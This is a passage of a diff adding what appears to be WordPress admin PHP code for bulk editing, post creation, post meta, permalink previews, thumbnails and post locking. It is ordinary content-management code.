+		foreach ( $post_data['tax_input'] as $tax_name => $terms ) {
+			if ( empty($terms) )
+				continue;
+			if ( is_taxonomy_hierarchical( $tax_name ) ) {
+				$tax_input[ $tax_name ] = array_map( 'absint', $terms );
+			} else {
+				$comma = _x( ',', 'tag delimiter' );
+				if ( ',' !== $comma )
+					$terms = str_replace( $comma, ',', $terms );
+				$tax_input[ $tax_name ] = explode( ',', trim( $terms, " \n\t\r\0\x0B," ) );
+			}
+		}
+	}
+
+	if ( isset($post_data['post_parent']) && ($parent = (int) $post_data['post_parent']) ) {
+		$pages = $wpdb->get_results("SELECT ID, post_parent FROM $wpdb->posts WHERE post_type = 'page'");
+		$children = array();
+
+		for ( $i = 0; $i < 50 && $parent > 0; $i++ ) {
+			$children[] = $parent;
+
+			foreach ( $pages as $page ) {
+				if ( $page->ID == $parent ) {
+					$parent = $page->post_parent;
+					break;
+				}
+			}
+		}
+	}
+
+	$updated = $skipped = $locked = array();
+	$shared_post_data = $post_data;
+
+	foreach ( $post_IDs as $post_ID ) {
+		// Start with fresh post data with each iteration.
+		$post_data = $shared_post_data;
+
+		$post_type_object = get_post_type_object( get_post_type( $post_ID ) );
+
+		if ( !isset( $post_type_object ) || ( isset($children) && in_array($post_ID, $children) ) || !current_user_can( 'edit_post', $post_ID ) ) {
+			$skipped[] = $post_ID;
+			continue;
+		}
+
+		if ( wp_check_post_lock( $post_ID ) ) {
+			$locked[] = $post_ID;
+			continue;
+		}
+
+		$post = get_post( $post_ID );
+		$tax_names = get_object_taxonomies( $post );
+		foreach ( $tax_names as $tax_name ) {
+			$taxonomy_obj = get_taxonomy($tax_name);
+			if ( isset( $tax_input[$tax_name]) && current_user_can( $taxonomy_obj->cap->assign_terms ) )
+				$new_terms = $tax_input[$tax_name];
+			else
+				$new_terms = array();
+
+			if ( $taxonomy_obj->hierarchical )
+				$current_terms = (array) wp_get_object_terms( $post_ID, $tax_name, array('fields' => 'ids') );
+			else
+				$current_terms = (array) wp_get_object_terms( $post_ID, $tax_name, array('fields' => 'names') );
+
+			$post_data['tax_input'][$tax_name] = array_merge( $current_terms, $new_terms );
+		}
+
+		if ( isset($new_cats) && in_array( 'category', $tax_names ) ) {
+			$cats = (array) wp_get_post_categories($post_ID);
+			$post_data['post_category'] = array_unique( array_merge($cats, $new_cats) );
+			unset( $post_data['tax_input']['category'] );
+		}
+
+		$post_data['post_type'] = $post->post_type;
+		$post_data['post_mime_type'] = $post->post_mime_type;
+		$post_data['guid'] = $post->guid;
+
+		foreach ( array( 'comment_status', 'ping_status', 'post_author' ) as $field ) {
+			if ( ! isset( $post_data[ $field ] ) ) {
+				$post_data[ $field ] = $post->$field;
+			}
+		}
+
+		$post_data['ID'] = $post_ID;
+		$post_data['post_ID'] = $post_ID;
+
+		$post_data = _wp_translate_postdata( true, $post_data );
+		if ( is_wp_error( $post_data ) ) {
+			$skipped[] = $post_ID;
+			continue;
+		}
+
+		$updated[] = wp_update_post( $post_data );
+
+		if ( isset( $post_data['sticky'] ) && current_user_can( $ptype->cap->edit_others_posts ) ) {
+			if ( 'sticky' == $post_data['sticky'] )
+				stick_post( $post_ID );
+			else
+				unstick_post( $post_ID );
+		}
+
+		if ( isset( $post_data['post_format'] ) )
+			set_post_format( $post_ID, $post_data['post_format'] );
+	}
+
+	return array( 'updated' => $updated, 'skipped' => $skipped, 'locked' => $locked );
+}
+
+/**
+ * Default post information to use when populating the "Write Post" form.
+ *
+ * @since 2.0.0
+ *
+ * @param string $post_type A post type string, defaults to 'post'.
+ * @return WP_Post Post object containing all the default post data as attributes
+ */
+function get_default_post_to_edit( $post_type = 'post', $create_in_db = false ) {
+	$post_title = '';
+	if ( !empty( $_REQUEST['post_title'] ) )
+		$post_title = esc_html( wp_unslash( $_REQUEST['post_title'] ));
+
+	$post_content = '';
+	if ( !empty( $_REQUEST['content'] ) )
+		$post_content = esc_html( wp_unslash( $_REQUEST['content'] ));
+
+	$post_excerpt = '';
+	if ( !empty( $_REQUEST['excerpt'] ) )
+		$post_excerpt = esc_html( wp_unslash( $_REQUEST['excerpt'] ));
+
+	if ( $create_in_db ) {
+		$post_id = wp_insert_post( array( 'post_title' => __( 'Auto Draft' ), 'post_type' => $post_type, 'post_status' => 'auto-draft' ) );
+		$post = get_post( $post_id );
+		if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) && get_option( 'default_post_format' ) )
+			set_post_format( $post, get_option( 'default_post_format' ) );
+	} else {
+		$post = new stdClass;
+		$post->ID = 0;
+		$post->post_author = '';
+		$post->post_date = '';
+		$post->post_date_gmt = '';
+		$post->post_password = '';
+		$post->post_name = '';
+		$post->post_type = $post_type;
+		$post->post_status = 'draft';
+		$post->to_ping = '';
+		$post->pinged = '';
+		$post->comment_status = get_option( 'default_comment_status' );
+		$post->ping_status = get_option( 'default_ping_status' );
+		$post->post_pingback = get_option( 'default_pingback_flag' );
+		$post->post_category = get_option( 'default_category' );
+		$post->page_template = 'default';
+		$post->post_parent = 0;
+		$post->menu_order = 0;
+		$post = new WP_Post( $post );
+	}
+
+	/**
+	 * Filter the default post content initially used in the "Write Post" form.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string  $post_content Default post content.
+	 * @param WP_Post $post         Post object.
+	 */
+	$post->post_content = apply_filters( 'default_content', $post_content, $post );
+
+	/**
+	 * Filter the default post title initially used in the "Write Post" form.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string  $post_title Default post title.
+	 * @param WP_Post $post       Post object.
+	 */
+	$post->post_title = apply_filters( 'default_title', $post_title, $post );
+
+	/**
+	 * Filter the default post excerpt initially used in the "Write Post" form.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string  $post_excerpt Default post excerpt.
+	 * @param WP_Post $post         Post object.
+	 */
+	$post->post_excerpt = apply_filters( 'default_excerpt', $post_excerpt, $post );
+
+	return $post;
+}
+
+/**
+ * Determine if a post exists based on title, content, and date
+ *
+ * @since 2.0.0
+ *
+ * @param string $title Post title
+ * @param string $content Optional post content
+ * @param string $date Optional post date
+ * @return int Post ID if post exists, 0 otherwise.
+ */
+function post_exists($title, $content = '', $date = '') {
+	global $wpdb;
+
+	$post_title = wp_unslash( sanitize_post_field( 'post_title', $title, 0, 'db' ) );
+	$post_content = wp_unslash( sanitize_post_field( 'post_content', $content, 0, 'db' ) );
+	$post_date = wp_unslash( sanitize_post_field( 'post_date', $date, 0, 'db' ) );
+
+	$query = "SELECT ID FROM $wpdb->posts WHERE 1=1";
+	$args = array();
+
+	if ( !empty ( $date ) ) {
+		$query .= ' AND post_date = %s';
+		$args[] = $post_date;
+	}
+
+	if ( !empty ( $title ) ) {
+		$query .= ' AND post_title = %s';
+		$args[] = $post_title;
+	}
+
+	if ( !empty ( $content ) ) {
+		$query .= 'AND post_content = %s';
+		$args[] = $post_content;
+	}
+
+	if ( !empty ( $args ) )
+		return (int) $wpdb->get_var( $wpdb->prepare($query, $args) );
+
+	return 0;
+}
+
+/**
+ * Creates a new post from the "Write Post" form using $_POST information.
+ *
+ * @since 2.1.0
+ *
+ * @return int|WP_Error
+ */
+function wp_write_post() {
+	if ( isset($_POST['post_type']) )
+		$ptype = get_post_type_object($_POST['post_type']);
+	else
+		$ptype = get_post_type_object('post');
+
+	if ( !current_user_can( $ptype->cap->edit_posts ) ) {
+		if ( 'page' == $ptype->name )
+			return new WP_Error( 'edit_pages', __( 'You are not allowed to create pages on this site.' ) );
+		else
+			return new WP_Error( 'edit_posts', __( 'You are not allowed to create posts or drafts on this site.' ) );
+	}
+
+	$_POST['post_mime_type'] = '';
+
+	// Clear out any data in internal vars.
+	unset( $_POST['filter'] );
+
+	// Edit don't write if we have a post id.
+	if ( isset( $_POST['post_ID'] ) )
+		return edit_post();
+
+	if ( isset($_POST['visibility']) ) {
+		switch ( $_POST['visibility'] ) {
+			case 'public' :
+				$_POST['post_password'] = '';
+				break;
+			case 'password' :
+				unset( $_POST['sticky'] );
+				break;
+			case 'private' :
+				$_POST['post_status'] = 'private';
+				$_POST['post_password'] = '';
+				unset( $_POST['sticky'] );
+				break;
+		}
+	}
+
+	$translated = _wp_translate_postdata( false );
+	if ( is_wp_error($translated) )
+		return $translated;
+
+	// Create the post.
+	$post_ID = wp_insert_post( $_POST );
+	if ( is_wp_error( $post_ID ) )
+		return $post_ID;
+
+	if ( empty($post_ID) )
+		return 0;
+
+	add_meta( $post_ID );
+
+	add_post_meta( $post_ID, '_edit_last', $GLOBALS['current_user']->ID );
+
+	// Now that we have an ID we can fix any attachment anchor hrefs
+	_fix_attachment_links( $post_ID );
+
+	wp_set_post_lock( $post_ID );
+
+	return $post_ID;
+}
+
+/**
+ * Calls wp_write_post() and handles the errors.
+ *
+ * @since 2.0.0
+ *
+ * @return int|null
+ */
+function write_post() {
+	$result = wp_write_post();
+	if ( is_wp_error( $result ) )
+		wp_die( $result->get_error_message() );
+	else
+		return $result;
+}
+
+//
+// Post Meta
+//
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 1.2.0
+ *
+ * @param int $post_ID
+ * @return int|bool
+ */
+function add_meta( $post_ID ) {
+	$post_ID = (int) $post_ID;
+
+	$metakeyselect = isset($_POST['metakeyselect']) ? wp_unslash( trim( $_POST['metakeyselect'] ) ) : '';
+	$metakeyinput = isset($_POST['metakeyinput']) ? wp_unslash( trim( $_POST['metakeyinput'] ) ) : '';
+	$metavalue = isset($_POST['metavalue']) ? $_POST['metavalue'] : '';
+	if ( is_string( $metavalue ) )
+		$metavalue = trim( $metavalue );
+
+	if ( ('0' === $metavalue || ! empty ( $metavalue ) ) && ( ( ( '#NONE#' != $metakeyselect ) && !empty ( $metakeyselect) ) || !empty ( $metakeyinput ) ) ) {
+		/*
+		 * We have a key/value pair. If both the select and the input
+		 * for the key have data, the input takes precedence.
+		 */
+ 		if ( '#NONE#' != $metakeyselect )
+			$metakey = $metakeyselect;
+
+		if ( $metakeyinput )
+			$metakey = $metakeyinput; // default
+
+		if ( is_protected_meta( $metakey, 'post' ) || ! current_user_can( 'add_post_meta', $post_ID, $metakey ) )
+			return false;
+
+		$metakey = wp_slash( $metakey );
+
+		return add_post_meta( $post_ID, $metakey, $metavalue );
+	}
+
+	return false;
+} // add_meta
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 1.2.0
+ *
+ * @param int $mid
+ * @return bool
+ */
+function delete_meta( $mid ) {
+	return delete_metadata_by_mid( 'post' , $mid );
+}
+
+/**
+ * Get a list of previously defined keys.
+ *
+ * @since 1.2.0
+ *
+ * @return mixed
+ */
+function get_meta_keys() {
+	global $wpdb;
+
+	$keys = $wpdb->get_col( "
+			SELECT meta_key
+			FROM $wpdb->postmeta
+			GROUP BY meta_key
+			ORDER BY meta_key" );
+
+	return $keys;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.1.0
+ *
+ * @param int $mid
+ * @return object|bool
+ */
+function get_post_meta_by_id( $mid ) {
+	return get_metadata_by_mid( 'post', $mid );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * Some postmeta stuff.
+ *
+ * @since 1.2.0
+ *
+ * @param int $postid
+ * @return mixed
+ */
+function has_meta( $postid ) {
+	global $wpdb;
+
+	return $wpdb->get_results( $wpdb->prepare("SELECT meta_key, meta_value, meta_id, post_id
+			FROM $wpdb->postmeta WHERE post_id = %d
+			ORDER BY meta_key,meta_id", $postid), ARRAY_A );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 1.2.0
+ *
+ * @param int    $meta_id
+ * @param string $meta_key Expect Slashed
+ * @param string $meta_value Expect Slashed
+ * @return bool
+ */
+function update_meta( $meta_id, $meta_key, $meta_value ) {
+	$meta_key = wp_unslash( $meta_key );
+	$meta_value = wp_unslash( $meta_value );
+
+	return update_metadata_by_mid( 'post', $meta_id, $meta_value, $meta_key );
+}
+
+//
+// Private
+//
+
+/**
+ * Replace hrefs of attachment anchors with up-to-date permalinks.
+ *
+ * @since 2.3.0
+ * @access private
+ *
+ * @param int|object $post Post ID or post object.
+ * @return void|int|WP_Error Void if nothing fixed. 0 or WP_Error on update failure. The post ID on update success.
+ */
+function _fix_attachment_links( $post ) {
+	$post = get_post( $post, ARRAY_A );
+	$content = $post['post_content'];
+
+	// Don't run if no pretty permalinks or post is not published, scheduled, or privately published.
+	if ( ! get_option( 'permalink_structure' ) || ! in_array( $post['post_status'], array( 'publish', 'future', 'private' ) ) )
+		return;
+
+	// Short if there aren't any links or no '?attachment_id=' strings (strpos cannot be zero)
+	if ( !strpos($content, '?attachment_id=') || !preg_match_all( '/<a ([^>]+)>[\s\S]+?<\/a>/', $content, $link_matches ) )
+		return;
+
+	$site_url = get_bloginfo('url');
+	$site_url = substr( $site_url, (int) strpos($site_url, '://') ); // remove the http(s)
+	$replace = '';
+
+	foreach ( $link_matches[1] as $key => $value ) {
+		if ( !strpos($value, '?attachment_id=') || !strpos($value, 'wp-att-')
+			|| !preg_match( '/href=(["\'])[^"\']*\?attachment_id=(\d+)[^"\']*\\1/', $value, $url_match )
+			|| !preg_match( '/rel=["\'][^"\']*wp-att-(\d+)/', $value, $rel_match ) )
+				continue;
+
+		$quote = $url_match[1]; // the quote (single or double)
+		$url_id = (int) $url_match[2];
+		$rel_id = (int) $rel_match[1];
+
+		if ( !$url_id || !$rel_id || $url_id != $rel_id || strpos($url_match[0], $site_url) === false )
+			continue;
+
+		$link = $link_matches[0][$key];
+		$replace = str_replace( $url_match[0], 'href=' . $quote . get_attachment_link( $url_id ) . $quote, $link );
+
+		$content = str_replace( $link, $replace, $content );
+	}
+
+	if ( $replace ) {
+		$post['post_content'] = $content;
+		// Escape data pulled from DB.
+		$post = add_magic_quotes($post);
+
+		return wp_update_post($post);
+	}
+}
+
+/**
+ * Get all the possible statuses for a post_type
+ *
+ * @since 2.5.0
+ *
+ * @param string $type The post_type you want the statuses for
+ * @return array As array of all the statuses for the supplied post type
+ */
+function get_available_post_statuses($type = 'post') {
+	$stati = wp_count_posts($type);
+
+	return array_keys(get_object_vars($stati));
+}
+
+/**
+ * Run the wp query to fetch the posts for listing on the edit posts page
+ *
+ * @since 2.5.0
+ *
+ * @param array|bool $q Array of query variables to use to build the query or false to use $_GET superglobal.
+ * @return array
+ */
+function wp_edit_posts_query( $q = false ) {
+	if ( false === $q )
+		$q = $_GET;
+	$q['m'] = isset($q['m']) ? (int) $q['m'] : 0;
+	$q['cat'] = isset($q['cat']) ? (int) $q['cat'] : 0;
+	$post_stati  = get_post_stati();
+
+	if ( isset($q['post_type']) && in_array( $q['post_type'], get_post_types() ) )
+		$post_type = $q['post_type'];
+	else
+		$post_type = 'post';
+
+	$avail_post_stati = get_available_post_statuses($post_type);
+
+	if ( isset($q['post_status']) && in_array( $q['post_status'], $post_stati ) ) {
+		$post_status = $q['post_status'];
+		$perm = 'readable';
+	}
+
+	if ( isset($q['orderby']) )
+		$orderby = $q['orderby'];
+	elseif ( isset($q['post_status']) && in_array($q['post_status'], array('pending', 'draft')) )
+		$orderby = 'modified';
+
+	if ( isset($q['order']) )
+		$order = $q['order'];
+	elseif ( isset($q['post_status']) && 'pending' == $q['post_status'] )
+		$order = 'ASC';
+
+	$per_page = "edit_{$post_type}_per_page";
+	$posts_per_page = (int) get_user_option( $per_page );
+	if ( empty( $posts_per_page ) || $posts_per_page < 1 )
+		$posts_per_page = 20;
+
+	/**
+	 * Filter the number of items per page to show for a specific 'per_page' type.
+	 *
+	 * The dynamic portion of the hook name, `$post_type`, refers to the post type.
+	 *
+	 * Some examples of filter hooks generated here include: 'edit_attachment_per_page',
+	 * 'edit_post_per_page', 'edit_page_per_page', etc.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $posts_per_page Number of posts to display per page for the given post
+	 *                            type. Default 20.
+	 */
+	$posts_per_page = apply_filters( "edit_{$post_type}_per_page", $posts_per_page );
+
+	/**
+	 * Filter the number of posts displayed per page when specifically listing "posts".
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int    $posts_per_page Number of posts to be displayed. Default 20.
+	 * @param string $post_type      The post type.
+	 */
+	$posts_per_page = apply_filters( 'edit_posts_per_page', $posts_per_page, $post_type );
+
+	$query = compact('post_type', 'post_status', 'perm', 'order', 'orderby', 'posts_per_page');
+
+	// Hierarchical types require special args.
+	if ( is_post_type_hierarchical( $post_type ) && !isset($orderby) ) {
+		$query['orderby'] = 'menu_order title';
+		$query['order'] = 'asc';
+		$query['posts_per_page'] = -1;
+		$query['posts_per_archive_page'] = -1;
+	}
+
+	if ( ! empty( $q['show_sticky'] ) )
+		$query['post__in'] = (array) get_option( 'sticky_posts' );
+
+	wp( $query );
+
+	return $avail_post_stati;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.5.0
+ *
+ * @param string $type
+ * @return mixed
+ */
+function get_available_post_mime_types($type = 'attachment') {
+	global $wpdb;
+
+	$types = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT post_mime_type FROM $wpdb->posts WHERE post_type = %s", $type));
+	return $types;
+}
+
+/**
+ * Executes a query for attachments. An array of WP_Query arguments
+ * can be passed in, which will override the arguments set by this function.
+ *
+ * @since 2.5.0
+ *
+ * @param array|bool $q Array of query variables to use to build the query or false to use $_GET superglobal.
+ * @return array
+ */
+function wp_edit_attachments_query( $q = false ) {
+	if ( false === $q )
+		$q = $_GET;
+
+	$q['m']   = isset( $q['m'] ) ? (int) $q['m'] : 0;
+	$q['cat'] = isset( $q['cat'] ) ? (int) $q['cat'] : 0;
+	$q['post_type'] = 'attachment';
+	$post_type = get_post_type_object( 'attachment' );
+	$states = 'inherit';
+	if ( current_user_can( $post_type->cap->read_private_posts ) )
+		$states .= ',private';
+
+	$q['post_status'] = isset( $q['status'] ) && 'trash' == $q['status'] ? 'trash' : $states;
+	$q['post_status'] = isset( $q['attachment-filter'] ) && 'trash' == $q['attachment-filter'] ? 'trash' : $states;
+
+	$media_per_page = (int) get_user_option( 'upload_per_page' );
+	if ( empty( $media_per_page ) || $media_per_page < 1 )
+		$media_per_page = 20;
+
+	/**
+	 * Filter the number of items to list per page when listing media items.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $media_per_page Number of media to list. Default 20.
+	 */
+	$q['posts_per_page'] = apply_filters( 'upload_per_page', $media_per_page );
+
+	$post_mime_types = get_post_mime_types();
+	$avail_post_mime_types = get_available_post_mime_types('attachment');
+
+	if ( isset($q['post_mime_type']) && !array_intersect( (array) $q['post_mime_type'], array_keys($post_mime_types) ) )
+		unset($q['post_mime_type']);
+
+	foreach( array_keys( $post_mime_types ) as $type ) {
+		if ( isset( $q['attachment-filter'] ) && "post_mime_type:$type" == $q['attachment-filter'] ) {
+			$q['post_mime_type'] = $type;
+			break;
+		}
+	}
+
+	if ( isset( $q['detached'] ) || ( isset( $q['attachment-filter'] ) && 'detached' == $q['attachment-filter'] ) ) {
+		$q['post_parent'] = 0;
+	}
+
+	wp( $q );
+
+	return array($post_mime_types, $avail_post_mime_types);
+}
+
+/**
+ * Returns the list of classes to be used by a metabox
+ *
+ * @since 2.5.0
+ *
+ * @param string $id
+ * @param string $page
+ * @return string
+ */
+function postbox_classes( $id, $page ) {
+	if ( isset( $_GET['edit'] ) && $_GET['edit'] == $id ) {
+		$classes = array( '' );
+	} elseif ( $closed = get_user_option('closedpostboxes_'.$page ) ) {
+		if ( !is_array( $closed ) ) {
+			$classes = array( '' );
+		} else {
+			$classes = in_array( $id, $closed ) ? array( 'closed' ) : array( '' );
+		}
+	} else {
+		$classes = array( '' );
+	}
+
+	/**
+	 * Filter the postbox classes for a specific screen and screen ID combo.
+	 *
+	 * The dynamic portions of the hook name, `$page` and `$id`, refer to
+	 * the screen and screen ID, respectively.
+	 *
+	 * @since 3.2.0
+	 *
+	 * @param array $classes An array of postbox classes.
+	 */
+	$classes = apply_filters( "postbox_classes_{$page}_{$id}", $classes );
+	return implode( ' ', $classes );
+}
+
+/**
+ * Get a sample permalink based off of the post name.
+ *
+ * @since 2.5.0
+ *
+ * @param int    $id    Post ID or post object.
+ * @param string $title Optional. Title. Default null.
+ * @param string $name  Optional. Name. Default null.
+ * @return array Array with two entries of type string.
+ */
+function get_sample_permalink($id, $title = null, $name = null) {
+	$post = get_post( $id );
+	if ( ! $post )
+		return array( '', '' );
+
+	$ptype = get_post_type_object($post->post_type);
+
+	$original_status = $post->post_status;
+	$original_date = $post->post_date;
+	$original_name = $post->post_name;
+
+	// Hack: get_permalink() would return ugly permalink for drafts, so we will fake that our post is published.
+	if ( in_array( $post->post_status, array( 'draft', 'pending' ) ) ) {
+		$post->post_status = 'publish';
+		$post->post_name = sanitize_title($post->post_name ? $post->post_name : $post->post_title, $post->ID);
+	}
+
+	// If the user wants to set a new name -- override the current one
+	// Note: if empty name is supplied -- use the title instead, see #6072
+	if ( !is_null($name) )
+		$post->post_name = sanitize_title($name ? $name : $title, $post->ID);
+
+	$post->post_name = wp_unique_post_slug($post->post_name, $post->ID, $post->post_status, $post->post_type, $post->post_parent);
+
+	$post->filter = 'sample';
+
+	$permalink = get_permalink($post, true);
+
+	// Replace custom post_type Token with generic pagename token for ease of use.
+	$permalink = str_replace("%$post->post_type%", '%pagename%', $permalink);
+
+	// Handle page hierarchy
+	if ( $ptype->hierarchical ) {
+		$uri = get_page_uri($post);
+		$uri = untrailingslashit($uri);
+		$uri = strrev( stristr( strrev( $uri ), '/' ) );
+		$uri = untrailingslashit($uri);
+
+		/** This filter is documented in wp-admin/edit-tag-form.php */
+		$uri = apply_filters( 'editable_slug', $uri );
+		if ( !empty($uri) )
+			$uri .= '/';
+		$permalink = str_replace('%pagename%', "{$uri}%pagename%", $permalink);
+	}
+
+	/** This filter is documented in wp-admin/edit-tag-form.php */
+	$permalink = array( $permalink, apply_filters( 'editable_slug', $post->post_name ) );
+	$post->post_status = $original_status;
+	$post->post_date = $original_date;
+	$post->post_name = $original_name;
+	unset($post->filter);
+
+	return $permalink;
+}
+
+/**
+ * Returns the HTML of the sample permalink slug editor.
+ *
+ * @since 2.5.0
+ *
+ * @param int    $id        Post ID or post object.
+ * @param string $new_title Optional. New title. Default null.
+ * @param string $new_slug  Optional. New slug. Default null.
+ * @return string The HTML of the sample permalink slug editor.
+ */
+function get_sample_permalink_html( $id, $new_title = null, $new_slug = null ) {
+	$post = get_post( $id );
+	if ( ! $post )
+		return '';
+
+	list($permalink, $post_name) = get_sample_permalink($post->ID, $new_title, $new_slug);
+
+	if ( current_user_can( 'read_post', $post->ID ) ) {
+		$ptype = get_post_type_object( $post->post_type );
+		$view_post = $ptype->labels->view_item;
+	}
+
+	if ( 'publish' == get_post_status( $post ) ) {
+		$title = __('Click to edit this part of the permalink');
+	} else {
+		$title = __('Temporary permalink. Click to edit this part.');
+	}
+
+	if ( false === strpos( $permalink, '%postname%' ) && false === strpos( $permalink, '%pagename%' ) ) {
+		$return = '<strong>' . __('Permalink:') . "</strong>\n" . '<span id="sample-permalink" tabindex="-1">' . $permalink . "</span>\n";
+		if ( '' == get_option( 'permalink_structure' ) && current_user_can( 'manage_options' ) && !( 'page' == get_option('show_on_front') && $id == get_option('page_on_front') ) ) {
+			$return .= '<span id="change-permalinks"><a href="options-permalink.php" class="button button-small" target="_blank">' . __('Change Permalinks') . "</a></span>\n";
+		}
+	} else {
+		if ( function_exists( 'mb_strlen' ) ) {
+			if ( mb_strlen( $post_name ) > 30 ) {
+				$post_name_abridged = mb_substr( $post_name, 0, 14 ) . '&hellip;' . mb_substr( $post_name, -14 );
+			} else {
+				$post_name_abridged = $post_name;
+			}
+		} else {
+			if ( strlen( $post_name ) > 30 ) {
+				$post_name_abridged = substr( $post_name, 0, 14 ) . '&hellip;' . substr( $post_name, -14 );
+			} else {
+				$post_name_abridged = $post_name;
+			}
+		}
+
+		$post_name_html = '<span id="editable-post-name" title="' . $title . '">' . $post_name_abridged . '</span>';
+		$display_link = str_replace( array( '%pagename%', '%postname%' ), $post_name_html, urldecode( $permalink ) );
+
+		$return =  '<strong>' . __( 'Permalink:' ) . "</strong>\n";
+		$return .= '<span id="sample-permalink" tabindex="-1">' . $display_link . "</span>\n";
+		$return .= '&lrm;'; // Fix bi-directional text display defect in RTL languages.
+		$return .= '<span id="edit-slug-buttons"><a href="#post_name" class="edit-slug button button-small hide-if-no-js" onclick="editPermalink(' . $id . '); return false;">' . __( 'Edit' ) . "</a></span>\n";
+		$return .= '<span id="editable-post-name-full">' . $post_name . "</span>\n";
+	}
+
+	if ( isset( $view_post ) ) {
+		if( 'draft' == $post->post_status ) {
+			$preview_link = set_url_scheme( get_permalink( $post->ID ) );
+			/** This filter is documented in wp-admin/includes/meta-boxes.php */
+			$preview_link = apply_filters( 'preview_post_link', add_query_arg( 'preview', 'true', $preview_link ), $post );
+			$return .= "<span id='view-post-btn'><a href='" . esc_url( $preview_link ) . "' class='button button-small' target='wp-preview-{$post->ID}'>$view_post</a></span>\n";
+		} else {
+			$return .= "<span id='view-post-btn'><a href='" . get_permalink( $post ) . "' class='button button-small'>$view_post</a></span>\n";
+		}
+	}
+
+	/**
+	 * Filter the sample permalink HTML markup.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string      $return    Sample permalink HTML markup.
+	 * @param int|WP_Post $id        Post object or ID.
+	 * @param string      $new_title New sample permalink title.
+	 * @param string      $new_slug  New sample permalink slug.
+	 */
+	$return = apply_filters( 'get_sample_permalink_html', $return, $id, $new_title, $new_slug );
+
+	return $return;
+}
+
+/**
+ * Output HTML for the post thumbnail meta-box.
+ *
+ * @since 2.9.0
+ *
+ * @param int $thumbnail_id ID of the attachment used for thumbnail
+ * @param mixed $post The post ID or object associated with the thumbnail, defaults to global $post.
+ * @return string html
+ */
+function _wp_post_thumbnail_html( $thumbnail_id = null, $post = null ) {
+	global $content_width, $_wp_additional_image_sizes;
+
+	$post = get_post( $post );
+
+	$upload_iframe_src = esc_url( get_upload_iframe_src('image', $post->ID ) );
+	$set_thumbnail_link = '<p class="hide-if-no-js"><a title="' . esc_attr__( 'Set featured image' ) . '" href="%s" id="set-post-thumbnail" class="thickbox">%s</a></p>';
+	$content = sprintf( $set_thumbnail_link, $upload_iframe_src, esc_html__( 'Set featured image' ) );
+
+	if ( $thumbnail_id && get_post( $thumbnail_id ) ) {
+		$old_content_width = $content_width;
+		$content_width = 266;
+		if ( !isset( $_wp_additional_image_sizes['post-thumbnail'] ) )
+			$thumbnail_html = wp_get_attachment_image( $thumbnail_id, array( $content_width, $content_width ) );
+		else
+			$thumbnail_html = wp_get_attachment_image( $thumbnail_id, 'post-thumbnail' );
+		if ( !empty( $thumbnail_html ) ) {
+			$ajax_nonce = wp_create_nonce( 'set_post_thumbnail-' . $post->ID );
+			$content = sprintf( $set_thumbnail_link, $upload_iframe_src, $thumbnail_html );
+			$content .= '<p class="hide-if-no-js"><a href="#" id="remove-post-thumbnail" onclick="WPRemoveThumbnail(\'' . $ajax_nonce . '\');return false;">' . esc_html__( 'Remove featured image' ) . '</a></p>';
+		}
+		$content_width = $old_content_width;
+	}
+
+	/**
+	 * Filter the admin post thumbnail HTML markup to return.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $content Admin post thumbnail HTML markup.
+	 * @param int    $post_id Post ID.
+	 */
+	return apply_filters( 'admin_post_thumbnail_html', $content, $post->ID );
+}
+
+/**
+ * Check to see if the post is currently being edited by another user.
+ *
+ * @since 2.5.0
+ *
+ * @param int $post_id ID of the post to check for editing
+ * @return integer False: not locked or locked by current user. Int: user ID of user with lock.
+ */
+function wp_check_post_lock( $post_id ) {
+	if ( !$post = get_post( $post_id ) )
+		return false;
+
+	if ( !$lock = get_post_meta( $post->ID, '_edit_lock', true ) )
+		return false;
+
+	$lock = explode( ':', $lock );
+	$time = $lock[0];
+	$user = isset( $lock[1] ) ? $lock[1] : get_post_meta( $post->ID, '_edit_last', true );
+
+	/** This filter is documented in wp-admin/includes/ajax-actions.php */
+	$time_window = apply_filters( 'wp_check_post_lock_window', 150 );
+
+	if ( $time && $time > time() - $time_window && $user != get_current_user_id() )
+		return $user;
+	return false;
+}
+
+/**
+ * Mark the post as currently being edited by the current user
+ *
+ * @since 2.5.0
+ *
+ * @param int $post_id ID of the post to being edited
+ * @return bool|array Returns false if the post doesn't exist of there is no current user, or
+ * 	an array of the lock time and the user ID.
+ */
+function wp_set_post_lock( $post_id ) {
+	if ( !$post = get_post( $post_id ) )
+		return false;
+	if ( 0 == ($user_id = get_current_user_id()) )
+		return false;
+
+	$now = time();
+	$lock = "$now:$user_id";
+
+	update_post_meta( $post->ID, '_edit_lock', $lock );
+	return array( $now, $user_id );
+}
+
+/**
+ * Outputs the HTML for the notice to say that someone else is editing or has taken over editing of this post.
+ *
+ * @since 2.8.5
+ * @return none
+ */
+function _admin_notice_post_locked() {
+	if ( ! $post = get_post() )
+		return;
+
+	$user = null;
+	if (  $user_id = wp_check_post_lock( $post->ID ) )
+		$user = get_userdata( $user_id );
+
+	if ( $user ) {
+
+		/**
+		 * Filter whether to show the post locked dialog.
+		 *
+		 * Returning a falsey value to the filter will short-circuit displaying the dialog.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param bool         $display Whether to display the dialog. Default true.
+		 * @param WP_User|bool $user    WP_User object on success, false otherwise.
+		 */
+		if ( ! apply_filters( 'show_post_locked_dialog', true, $post, $user ) )
+			return;
+
+		$locked = true;
+	} else {
+		$locked = false;
+	}
+
+	if ( $locked && ( $sendback = wp_get_referer() ) &&
+		false === strpos( $sendback, 'post.php' ) && false === strpos( $sendback, 'post-new.php' ) ) {
+
+		$sendback_text = __('Go back');
+	} else {
+		$sendback = admin_url( 'edit.php' );
+
+		if ( 'post' != $post->post_type )
